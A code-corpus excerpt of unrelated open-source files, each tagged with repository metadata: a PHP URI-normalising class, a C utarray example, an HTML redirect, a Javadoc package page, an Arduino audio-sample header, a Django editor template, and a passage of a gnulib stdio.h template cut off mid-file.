<?php namespace StoreCore\StoreFront; /** * Uniform Resource Identifier (URI) * * @author Ward van der Put <Ward.van.der.Put@gmail.com> * @copyright Copyright (c) 2015-2016 StoreCore * @license http://www.gnu.org/licenses/gpl.html GNU General Public License * @package StoreCore\Core * @version 0.1.0 */ class Location extends \StoreCore\AbstractController { const VERSION = '0.1.0'; /** @var string $Location */ private $Location; /** * @param \StoreCore\Registry $registry * @return void */ public function __construct(\StoreCore\Registry $registry) { parent::__construct($registry); $this->set($this->Request->getHostName() . $this->Request->getRequestPath()); } /** * @param void * @return string */ public function __toString() { return $this->get(); } /** * @param void * @return string */ public function get() { return $this->Location; } /** * Set the location by a URI or URL. * * @param string $uri * * @return void * * @todo This method strips index file names like "index.php" from URLs, so * these currently are simply ignored. Another, more strict approach * would be to disallow directory listings with a "Directory listing * denied" HTTP response or a redirect. */ public function set($uri) { // Remove query string parameters $uri = explode('?', $uri)[0]; // Enforce lowercase URLs $uri = mb_strtolower($uri, 'UTF-8'); // Drop common webserver directory indexes $uri = str_replace(array('default.aspx', 'default.asp', 'index.html', 'index.htm', 'index.shtml', 'index.php'), null, $uri); // Strip common extensions $uri = str_replace(array('.aspx', '.asp', '.html', '.htm', '.jsp', '.php'), null, $uri); // Replace special characters $uri = preg_replace('~[^\\pL\d.]+~u', '-', $uri); $uri = trim($uri, '-'); $uri = iconv('UTF-8', 'US-ASCII//TRANSLIT//IGNORE', $uri); $uri = str_ireplace(array('"', '`', '^', '~'), null, $uri); $uri = urlencode($uri); $this->Location = $uri; } }
storecore/releases
StoreCore/StoreFront/Location.php
PHP
gpl-3.0
2,258
#include "ModelStructure.h" #include <stdio.h> #include <stdlib.h> #include <assert.h> void CharProfile_free(void * profile_in){ CharProfile * profile = (CharProfile *) profile_in; utarray_free(profile->CharChoices); } int main(void){ UT_array * WholeString = NULL; CharProfile NewCharProfile; CharProbability NewCharProbability; /*initialize string profile*/ UT_icd StringProfile_icd = {sizeof(CharProfile), NULL, NULL, CharProfile_free}; utarray_new(WholeString, &StringProfile_icd); /*first char spot*/ UT_icd CharProbability_icd = {sizeof(CharProbability), NULL, NULL, NULL}; utarray_new(NewCharProfile.CharChoices, &CharProbability_icd); /*first possibility*/ NewCharProbability.Char = 'a'; NewCharProbability.Probability = 25; utarray_push_back(NewCharProfile.CharChoices, &NewCharProbability); /*second probability*/ NewCharProbability.Char = 'z'; NewCharProbability.Probability = 75; utarray_push_back(NewCharProfile.CharChoices, &NewCharProbability); /*push to the whole string*/ utarray_push_back(WholeString, &NewCharProfile); /*second char spot*/ utarray_new(NewCharProfile.CharChoices, &CharProbability_icd); /*first possibility*/ NewCharProbability.Char = 'A'; NewCharProbability.Probability = 35; utarray_push_back(NewCharProfile.CharChoices, &NewCharProbability); /*second probability*/ NewCharProbability.Char = 'Z'; NewCharProbability.Probability = 85; utarray_push_back(NewCharProfile.CharChoices, &NewCharProbability); /*push to the whole string*/ utarray_push_back(WholeString, &NewCharProfile); /*does some iteration and display the structure*/ CharProfile * CurrCharProfile = NULL; CharProbability * CurrCharProbability = NULL; int counter1 = 0, counter2 = 0; while( (CurrCharProfile=(CharProfile *)utarray_next(WholeString,CurrCharProfile))) { printf("counter 1 = %d\n", counter1++); counter2 = 0; CurrCharProbability = NULL; while( (CurrCharProbability = (CharProbability *) utarray_next(CurrCharProfile->CharChoices, CurrCharProbability))){ printf("counter 2 = %d\n", counter2++); printf("Character is %c with probability %d\n", CurrCharProbability->Char, CurrCharProbability->Probability); } } /*free them all*/ /*CurrCharProfile = NULL; CurrCharProbability = NULL; while( (CurrCharProfile=(CharProfile*)utarray_next(WholeString,CurrCharProfile))) { utarray_free(CurrCharProfile->CharChoices); }*/ utarray_free(WholeString); return 0; }
mqchau/EECS22L_Project2
src/Model/ExampleCharArray.c
C
gpl-3.0
2,478
<!DOCTYPE html><html><head><title>/post/campanas/no-guerra/</title><link rel="canonical" href="/post/campanas/no-guerra/"/><meta name="robots" content="noindex"><meta charset="utf-8" /><meta http-equiv="refresh" content="0; url=/post/campanas/no-guerra/" /></head></html>
forosocialcriptana/forosocialcriptana.github.io
post/campanas/no-guerra/page/1/index.html
HTML
gpl-3.0
271
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (version 1.7.0_17) on Mon May 06 00:15:51 EDT 2013 --> <title>org.spongycastle.crypto.util</title> <meta name="date" content="2013-05-06"> <link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style"> </head> <body> <script type="text/javascript"><!-- if (location.href.indexOf('is-external=true') == -1) { parent.document.title="org.spongycastle.crypto.util"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar_top"> <!-- --> </a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../overview-summary.html">Overview</a></li> <li class="navBarCell1Rev">Package</li> <li>Class</li> <li><a href="package-use.html">Use</a></li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-files/index-1.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../org/spongycastle/crypto/tls/package-summary.html">Prev Package</a></li> <li><a href="../../../../org/spongycastle/jcajce/provider/asymmetric/package-summary.html">Next Package</a></li> </ul> <ul class="navList"> <li><a href="../../../../index.html?org/spongycastle/crypto/util/package-summary.html" target="_top">Frames</a></li> <li><a href="package-summary.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip-navbar_top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <div class="header"> <h1 title="Package" class="title">Package&nbsp;org.spongycastle.crypto.util</h1> <div class="docSummary"> <div class="block">Some general utility/conversion classes.</div> </div> <p>See:&nbsp;<a href="#package_description">Description</a></p> </div> <div class="contentContainer"> <ul class="blockList"> <li class="blockList"> <table class="packageSummary" border="0" cellpadding="3" cellspacing="0" summary="Class Summary table, listing classes, and an explanation"> <caption><span>Class Summary</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Class</th> <th class="colLast" scope="col">Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><a href="../../../../org/spongycastle/crypto/util/Pack.html" title="class in org.spongycastle.crypto.util">Pack</a></td> <td class="colLast">&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="../../../../org/spongycastle/crypto/util/PrivateKeyFactory.html" title="class in org.spongycastle.crypto.util">PrivateKeyFactory</a></td> <td class="colLast"> <div class="block">Factory for creating private key objects from PKCS8 PrivateKeyInfo objects.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><a href="../../../../org/spongycastle/crypto/util/PublicKeyFactory.html" title="class in org.spongycastle.crypto.util">PublicKeyFactory</a></td> <td class="colLast"> <div class="block">Factory to create asymmetric public key parameters for asymmetric ciphers from range of ASN.1 encoded SubjectPublicKeyInfo objects.</div> </td> </tr> </tbody> </table> </li> </ul> <a name="package_description"> <!-- --> </a> <h2 title="Package org.spongycastle.crypto.util Description">Package org.spongycastle.crypto.util Description</h2> <div class="block">Some general utility/conversion classes.</div> </div> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar_bottom"> <!-- --> </a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../overview-summary.html">Overview</a></li> <li class="navBarCell1Rev">Package</li> <li>Class</li> <li><a href="package-use.html">Use</a></li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-files/index-1.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../org/spongycastle/crypto/tls/package-summary.html">Prev Package</a></li> <li><a href="../../../../org/spongycastle/jcajce/provider/asymmetric/package-summary.html">Next Package</a></li> </ul> <ul class="navList"> <li><a href="../../../../index.html?org/spongycastle/crypto/util/package-summary.html" target="_top">Frames</a></li> <li><a href="package-summary.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip-navbar_bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </body> </html>
gnu-user/orwell
Orwell/doc/org/spongycastle/crypto/util/package-summary.html
HTML
gpl-3.0
5,781
#ifndef BAMBOO_01_2048_H_ #define BAMBOO_01_2048_H_ #include "Arduino.h" #include <avr/pgmspace.h> #define BAMBOO_01_2048_NUM_CELLS 2048 #define BAMBOO_01_2048_SAMPLERATE 16384 const char __attribute__((progmem)) BAMBOO_01_2048_DATA [] = {0, 1, -1, 1, -1, 0, 1, -1, 0, -1, 0, -2, 0, -1, -1, -7, -29, -71, -96, -72, -16, 15, 12, 13, 53, 104, 126, 109, 34, -32, -50, -62, -46, -10, 29, 56, 29, -9, -56, -90, -72, -72, -28, 45, 82, 69, 1, -57, -86, -60, 15, 47, 71, 60, 17, -28, -61, -27, 1, 26, 63, 49, 43, 12, -53, -68, -39, 34, 84, 64, 19, -27, -41, -40, -30, -6, 6, 27, 17, -24, -35, -45, -30, -12, 9, 25, 13, -5, -38, -44, -2, 19, 14, 9, 2, 5, 3, 4, 5, 13, 23, 20, 15, 7, 1, 1, -1, 5, 14, 12, 2, -22, -29, -9, 13, 12, -7, -25, -27, -22, -11, -15, -18, -9, 1, -2, -10, -14, -15, -10, -1, 7, 15, 15, 7, 1, -1, 10, 12, 8, 9, 14, 22, 21, 10, -4, -10, -4, 3, 8, 10, 6, -4, -17, -24, -21, -14, 0, 3, 2, -2, -16, -31, -36, -24, -1, 18, 19, 4, -8, -15, -10, -2, 10, 20, 23, 20, 8, -3, -10, -7, 5, 18, 29, 26, 13, -2, -13, -10, -3, 3, 4, 2, -4, -12, -22, -25, -19, -8, 1, 2, -3, -11, -16, -14, -10, -4, -4, -6, -8, -4, -1, 7, 12, 13, 9, 6, 6, 5, 7, 7, 11, 14, 16, 9, 2, -2, -4, 0, 1, 1, -5, -13, -16, -15, -10, -8, -6, -10, -12, -10, -7, -7, -10, -12, -9, -2, 2, 3, 0, 0, -3, -3, -1, 6, 14, 17, 19, 13, 8, 2, 1, 2, 8, 12, 9, 3, 0, -9, -10, -5, 0, 6, 0, -4, -11, -15, -16, -16, -13, -5, 0, -1, -6, -16, -16, -13, -5, 5, 11, 13, 8, 2, -4, -2, 0, 9, 16, 18, 17, 10, 4, -3, -2, 2, 7, 10, 6, -1, -11, -13, -9, -5, -3, -6, -7, -7, -10, -13, -11, -12, -9, -8, -9, -5, -5, -4, -3, -1, 0, 2, 1, 4, 9, 9, 6, 4, 5, 8, 9, 10, 7, 7, 4, 1, -1, 2, 2, 3, 1, -4, -7, -10, -10, -11, -9, -8, -7, -11, -10, -13, -13, -10, -4, 0, -3, -5, -8, -4, 1, 7, 8, 8, 9, 7, 7, 6, 7, 9, 13, 12, 9, 7, 0, -2, -1, 1, 6, 2, 0, -4, -9, -11, -14, -9, -3, -4, -5, -12, -16, -15, -12, -4, -2, 3, 1, -4, -4, -7, -2, 5, 11, 14, 11, 8, 3, 4, 6, 10, 12, 9, 6, 1, -2, -3, -1, 0, 3, -1, -1, -4, -6, -8, -8, -6, -5, -7, -10, -13, -15, -12, -8, -4, 0, -2, -3, -4, -1, 0, 4, 3, 7, 7, 6, 1, -1, 1, 5, 9, 8, 9, 6, 5, 2, 3, 4, 1, 1, -2, -1, -6, -9, -10, -8, -8, -6, -8, -8, -10, -11, -9, -8, -5, -5, -5, -4, -3, 0, 0, -1, 2, 4, 8, 9, 9, 7, 5, 7, 7, 7, 9, 5, 5, 2, 2, 0, 0, -1, -3, -4, -4, -8, -8, -9, -7, -7, -7, -7, -10, -7, -7, -5, -4, -4, -3, -2, -1, 0, -1, 1, 1, 4, 5, 6, 5, 7, 5, 6, 6, 7, 9, 7, 5, 1, 0, -1, -2, -3, -1, 0, -2, -7, -10, -13, -10, -8, -4, -4, -7, -8, -10, -6, -4, -4, -1, -3, 0, -1, 0, -1, 0, 3, 7, 7, 8, 6, 4, 6, 5, 6, 4, 6, 4, 3, 2, 0, -3, -3, -5, -3, -5, -6, -6, -10, -9, -11, -7, -7, -6, -6, -6, -6, -4, -5, -2, -1, 2, 2, 2, 3, 2, 3, 4, 6, 7, 7, 5, 4, 3, 5, 5, 4, 4, 2, 1, -2, -2, -3, -5, -6, -6, -3, -3, -5, -8, -9, -9, -5, -5, -4, -5, -5, -4, -5, -4, -3, -1, 4, 5, 4, 4, 3, 3, 5, 6, 7, 6, 4, 4, 3, 2, 2, 4, 3, 1, -2, -2, -4, -6, -5, -6, -5, -5, -7, -7, -9, -7, -6, -5, -3, -1, -3, -3, -4, -3, -2, 0, 0, 3, 2, 4, 3, 4, 3, 5, 5, 6, 6, 3, 4, 1, 0, 1, 0, 1, -2, -3, -4, -5, -5, -6, -5, -6, -4, -5, -7, -9, -9, -7, -5, -3, -1, -2, -2, -2, -2, 0, 0, 4, 6, 5, 5, 3, 4, 4, 3, 5, 5, 6, 3, 2, 2, 1, -1, 0, -2, -1, -3, -3, -6, -5, -6, -6, -6, -6, -7, -6, -5, -6, -4, -4, -3, -2, -2, 0, -1, 2, 2, 2, 3, 3, 4, 2, 3, 4, 5, 5, 5, 4, 2, 2, 1, 0, 0, -1, 0, -4, -4, -6, -6, -8, -6, -6, -5, -4, -6, -6, -7, -6, -5, -4, -2, -1, 0, 0, -1, 0, 1, 2, 4, 5, 6, 5, 4, 3, 3, 3, 3, 4, 2, 3, 1, 0, -2, -2, -3, -2, -4, -4, -5, -5, -6, -7, -7, -7, -4, -5, -4, -4, -4, -5, -4, -2, -1, 0, 1, 1, 3, 2, 3, 5, 5, 5, 5, 6, 4, 4, 4, 2, 2, 0, 0, -1, -1, -1, -3, -3, -3, -4, -4, -6, -6, -7, -6, -6, -5, -4, -5, -4, -4, -4, -2, -1, 0, 1, 0, 1, 1, 1, 3, 3, 4, 6, 5, 4, 4, 2, 2, 1, 2, 2, 3, 1, -2, -2, -5, -4, -5, -4, -5, -4, -4, -6, -5, -5, -4, -5, -4, -4, -4, -2, -2, -3, -1, -1, 2, 2, 3, 2, 3, 2, 3, 4, 4, 5, 4, 3, 3, 2, 1, 1, 0, 0, -1, -1, -3, -3, -3, -4, -3, -4, -5, -4, -5, -7, -4, -5, -3, -4, -3, -3, -1, -3, 0, -1, 0, 2, 2, 3, 2, 4, 4, 3, 5, 3, 4, 2, 2, 2, 0, 0, -1, -2, -1, -2, -2, -3, -4, -4, -3, -3, -5, -4, -6, -6, -6, -3, -4, -3, -3, -2, -1, 0, -1, -1, 2, 2, 2, 2, 3, 1, 3, 4, 4, 4, 3, 3, 1, 0, 1, -1, 0, -1, 0, -2, -3, -4, -4, -3, -3, -3, -4, -5, -5, -6, -4, -3, -3, -3, -2, -2, 0, -1, 0, 1, 1, 1, 2, 1, 1, 2, 3, 3, 4, 2, 1, 1, 1, 0, 1, 0, 0, -1, -2, -3, -3, -3, -3, -4, -3, -4, -4, -5, -5, -4, -4, -3, -2, -2, -2, -1, 0, -1, 0, 1, 1, 2, 1, 1, 1, 1, 2, 3, 2, 2, 1, 1, 1, 0, 1, 0, 0, -1, -1, -2, -3, -3, -3, -4, -4, -4, -4, -4, -4, -3, -4, -3, -3, -2, -1, -1, -1, 0, -1, 0, 1, 1, 2, 2, 2, 3, 1, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, -1, -1, -3, -3, -3, -4, -4, -4, -4, -3, -4, -3, -3, -3, -3, -3, -2, -1, -1, 0, 0, 0, 0, 1, 1, 2, 2, 3, 2, 1, 1, 1, 2, 1, 1, 1, 0, -1, -1, -1, -2, -2, -2, -3, -3, -3, -4, -5, -4, -5, -4, -3, -4, -3, -3, -2, -1, -1, -1, 0, 0, 0, 0, 1, 1, 2, 2, 2, 1, 2, 2, 1, 2, 1, 1, 0, 0, 0, -1, -1, -1, -3, -2, -3, -3, -4, -4, -4, -4, -4, -3, -3, -3, -3, -3, -1, -1, -1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 1, 1, 1, 1, 0, 0, 0, -1, -1, -2, -3, -2, -3, -3, -3, -4, -3, -4, -4, -4, -3, -2, -2, -2, -2, -2, -1, -1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 2, 2, 1, 1, 0, 0, 0, -1, -1, 0, -1, -2, -2, -2, -3, -3, -3, -3, -3, -3, -3, -3, -3, -3, -2, -2, -2, -1, 0, -1, 0, 0, 0, 0, 0, 1, 1, 2, 2, 2, 2, 1, 0, 1, 0, 0, 0, 0, 0, -1, -1, -2, -2, -2, -3, -2, -3, -3, -3, -3, -3, -3, -3, -3, -2, -2, -1, -1, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, -1, 0, -1, 0, -1, -1, -2, -2, -2, -2, -2, -3, -2, -2, -3, -2, -2, -2, -2, -2, -2, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, -1, 0, 0, -1, -1, -2, -2, -2, -2, -2, -2, -2, -2, -3, -2, -2, -2, -2, -2, -2, 0, -1, 0, -1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, -1, 0, -1, -1, -1, -1, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -1, -1, -1, -1, 0, -1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, -1, -1, -1, -1, -2, -1, -2, -2, -2, -2, -2, -3, -2, -2, -2, -2, -2, -2, -2, -2, -1, 0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1, -2, -1, -1, -1, -2, -1, -2, -1, -1, -1, -1, -1, -1, -1, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -2, -1, -1, -1, -1, -1, -1, -1, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -2, -1, -1, -1, -1, -1, -1, -1, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -2, -1, -1, -1, -1, -1, -1, -1, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1, -1, -1, -2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 0, 0, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 0, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 0, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 0, -1, -1, -1, -1, 0, -1, 0, -1, 0, 0, 0, -1, 0, -1, 0, 0, 0, -1, 0, 0, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 0, -1, 0, -1, 0, -1, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, -1, 0, -1, 0, -1, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 0, -1, 0, 0, 0, 0, -1, 0, -1, 0, -1, 0, }; #endif /* BAMBOO_01_2048_H_ */
sensestage/Mozzi
samples/bamboo/bamboo_01_2048_int8.h
C
gpl-3.0
7,724
{% extends 'file_layout.html' %} {% block file_content %} {% load staticfiles %} <div id="placeholder"></div> <script type="text/javascript" src="{{ api_src }}"></script> <script type="text/javascript"> $(function(){ config = { "document": { "fileType": "{{ ext }}", "key": "{{ doc_editor_key }}", "title": "{{ item_rep.name }}", "url": "{{ http_host }}{{ item_rep.url }}?action=raw", }, "documentType": "{{ doc_type }}", "editorConfig": { "callbackUrl": "{{ http_host }}{{ item_rep.url }}?action=save_callback", }, }; var docEditor = new DocsAPI.DocEditor("placeholder", config); }); </script> {% endblock %}
bshishov/Memorandum
main/templates/files/office.html
HTML
gpl-3.0
782
/* A GNU-like <stdio.h>. Copyright (C) 2004, 2007-2009 Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ #if __GNUC__ >= 3 @PRAGMA_SYSTEM_HEADER@ #endif #if defined __need_FILE || defined __need___FILE /* Special invocation convention inside glibc header files. */ #@INCLUDE_NEXT@ @NEXT_STDIO_H@ #else /* Normal invocation convention. */ #ifndef _GL_STDIO_H /* The include_next requires a split double-inclusion guard. */ #@INCLUDE_NEXT@ @NEXT_STDIO_H@ #ifndef _GL_STDIO_H #define _GL_STDIO_H #include <stdarg.h> #include <stddef.h> #if (@GNULIB_FSEEKO@ && @REPLACE_FSEEKO@) \ || (@GNULIB_FTELLO@ && @REPLACE_FTELLO@) \ || (@GNULIB_GETDELIM@ && !@HAVE_DECL_GETDELIM@) \ || (@GNULIB_GETLINE@ && (!@HAVE_DECL_GETLINE@ || @REPLACE_GETLINE@)) /* Get off_t and ssize_t. */ # include <sys/types.h> #endif #ifndef __attribute__ /* This feature is available in gcc versions 2.5 and later. */ # if __GNUC__ < 2 || (__GNUC__ == 2 && __GNUC_MINOR__ < 5) # define __attribute__(Spec) /* empty */ # endif /* The __-protected variants of `format' and `printf' attributes are accepted by gcc versions 2.6.4 (effectively 2.7) and later. */ # if __GNUC__ < 2 || (__GNUC__ == 2 && __GNUC_MINOR__ < 7) # define __format__ format # define __printf__ printf # endif #endif /* The definition of GL_LINK_WARNING is copied here. */ #ifdef __cplusplus extern "C" { #endif #if @GNULIB_FPRINTF_POSIX@ # if @REPLACE_FPRINTF@ # define fprintf rpl_fprintf extern int fprintf (FILE *fp, const char *format, ...) __attribute__ ((__format__ (__printf__, 2, 3))); # endif #elif @GNULIB_FPRINTF@ && @REPLACE_STDIO_WRITE_FUNCS@ && @GNULIB_STDIO_H_SIGPIPE@ # define fprintf rpl_fprintf extern int fprintf (FILE *fp, const char *format, ...) __attribute__ ((__format__ (__printf__, 2, 3))); #elif defined GNULIB_POSIXCHECK # undef fprintf # define fprintf \ (GL_LINK_WARNING ("fprintf is not always POSIX compliant - " \ "use gnulib module fprintf-posix for portable " \ "POSIX compliance"), \ fprintf) #endif #if @GNULIB_VFPRINTF_POSIX@ # if @REPLACE_VFPRINTF@ # define vfprintf rpl_vfprintf extern int vfprintf (FILE *fp, const char *format, va_list args) __attribute__ ((__format__ (__printf__, 2, 0))); # endif #elif @GNULIB_VFPRINTF@ && @REPLACE_STDIO_WRITE_FUNCS@ && @GNULIB_STDIO_H_SIGPIPE@ # define vfprintf rpl_vfprintf extern int vfprintf (FILE *fp, const char *format, va_list args) __attribute__ ((__format__ (__printf__, 2, 0))); #elif defined GNULIB_POSIXCHECK # undef vfprintf # define vfprintf(s,f,a) \ (GL_LINK_WARNING ("vfprintf is not always POSIX compliant - " \ "use gnulib module vfprintf-posix for portable " \ "POSIX compliance"), \ vfprintf (s, f, a)) #endif #if @GNULIB_PRINTF_POSIX@ # if @REPLACE_PRINTF@ /* Don't break __attribute__((format(printf,M,N))). */ # define printf __printf__ extern int printf (const char *format, ...) __attribute__ ((__format__ (__printf__, 1, 2))); # endif #elif @GNULIB_PRINTF@ && @REPLACE_STDIO_WRITE_FUNCS@ && @GNULIB_STDIO_H_SIGPIPE@ /* Don't break __attribute__((format(printf,M,N))). */ # define printf __printf__ extern int printf (const char *format, ...) __attribute__ ((__format__ (__printf__, 1, 2))); #elif defined GNULIB_POSIXCHECK # undef printf # define printf \ (GL_LINK_WARNING ("printf is not always POSIX compliant - " \ "use gnulib module printf-posix for portable " \ "POSIX compliance"), \ printf) /* Don't break __attribute__((format(printf,M,N))). */ # define format(kind,m,n) format (__##kind##__, m, n) # define __format__(kind,m,n) __format__ (__##kind##__, m, n) # define ____printf____ __printf__ # define ____scanf____ __scanf__ # define ____strftime____ __strftime__ # define ____strfmon____ __strfmon__ #endif #if @GNULIB_VPRINTF_POSIX@ # if @REPLACE_VPRINTF@ # define vprintf rpl_vprintf extern int vprintf (const char *format, va_list args) __attribute__ ((__format__ (__printf__, 1, 0))); # endif #elif @GNULIB_VPRINTF@ && @REPLACE_STDIO_WRITE_FUNCS@ && @GNULIB_STDIO_H_SIGPIPE@ # define vprintf rpl_vprintf extern int vprintf (const char *format, va_list args) __attribute__ ((__format__ (__printf__, 1, 0))); #elif defined GNULIB_POSIXCHECK # undef vprintf # define vprintf(f,a) \ (GL_LINK_WARNING ("vprintf is not always POSIX compliant - " \ "use gnulib module vprintf-posix for portable " \ "POSIX compliance"), \ vprintf (f, a)) #endif #if @GNULIB_SNPRINTF@ # if @REPLACE_SNPRINTF@ # define snprintf rpl_snprintf # endif # if @REPLACE_SNPRINTF@ || !@HAVE_DECL_SNPRINTF@ extern int snprintf (char *str, size_t size, const char *format, ...) __attribute__ ((__format__ (__printf__, 3, 4))); # endif #elif defined GNULIB_POSIXCHECK # undef snprintf # define snprintf \ (GL_LINK_WARNING ("snprintf is unportable - " \ "use gnulib module snprintf for portability"), \ snprintf) #endif #if @GNULIB_VSNPRINTF@ # if @REPLACE_VSNPRINTF@ # define vsnprintf rpl_vsnprintf # endif # if @REPLACE_VSNPRINTF@ || !@HAVE_DECL_VSNPRINTF@ extern int vsnprintf (char *str, size_t size, const char *format, va_list args) __attribute__ ((__format__ (__printf__, 3, 0))); # endif #elif defined GNULIB_POSIXCHECK # undef vsnprintf # define vsnprintf(b,s,f,a) \ (GL_LINK_WARNING ("vsnprintf is unportable - " \ "use gnulib module vsnprintf for portability"), \ vsnprintf (b, s, f, a)) #endif #if @GNULIB_SPRINTF_POSIX@ # if @REPLACE_SPRINTF@ # define sprintf rpl_sprintf extern int sprintf (char *str, const char *format, ...) __attribute__ ((__format__ (__printf__, 2, 3))); # endif #elif defined GNULIB_POSIXCHECK # undef sprintf # define sprintf \ (GL_LINK_WARNING ("sprintf is not always POSIX compliant - " \ "use gnulib module sprintf-posix for portable " \ "POSIX compliance"), \ sprintf) #endif #if @GNULIB_VSPRINTF_POSIX@ # if @REPLACE_VSPRINTF@ # define vsprintf rpl_vsprintf extern int vsprintf (char *str, const char *format, va_list args) __attribute__ ((__format__ (__printf__, 2, 0))); # endif #elif defined GNULIB_POSIXCHECK # undef vsprintf # define vsprintf(b,f,a) \ (GL_LINK_WARNING ("vsprintf is not always POSIX compliant - " \ "use gnulib module vsprintf-posix for portable " \ "POSIX compliance"), \ vsprintf (b, f, a)) #endif #if @GNULIB_DPRINTF@ # if @REPLACE_DPRINTF@ # define dprintf rpl_dprintf # endif # if @REPLACE_DPRINTF@ || !@HAVE_DPRINTF@ extern int dprintf (int fd, const char *format, ...) __attribute__ ((__format__ (__printf__, 2, 3))); # endif #elif defined GNULIB_POSIXCHECK # undef dprintf # define dprintf(d,f,a) \ (GL_LINK_WARNING ("dprintf is unportable - " \ "use gnulib module dprintf for portability"), \ dprintf (d, f, a)) 